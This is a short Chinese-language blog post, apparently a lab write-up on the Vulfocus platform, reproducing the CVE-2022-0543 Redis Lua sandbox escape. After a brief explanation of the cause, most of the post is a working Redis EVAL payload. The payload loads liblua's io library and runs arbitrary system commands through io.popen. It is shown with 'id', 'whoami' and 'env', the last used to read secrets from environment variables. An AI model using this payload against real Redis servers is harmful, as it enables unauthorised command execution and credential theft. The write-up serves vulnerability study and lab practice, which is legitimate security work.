cve_2022_0543-redis沙盒漏洞复现 vulfocus

最新推荐文章于 2025-02-27 02:46:49 发布

小狗学士

最新推荐文章于 2025-02-27 02:46:49 发布

阅读量810

点赞数 10

分类专栏： web安全文章标签： java 开发语言

本文链接：https://blog.youkuaiyun.com/c0529/article/details/139583542

版权

web安全专栏收录该内容

33 篇文章

订阅专栏

1. 原理

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意 Lua 功能。

2.复现

我们可以尝试payload：

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在其中local f = io.popen("id", "r")用后面的read去尝试其他命令，修改“id”就可以读取其他内容
查看whoami

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

查看flag，flag在env环境变量中，用读取

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("env", "r"); local res = f:read("*a"); f:close(); return res' 0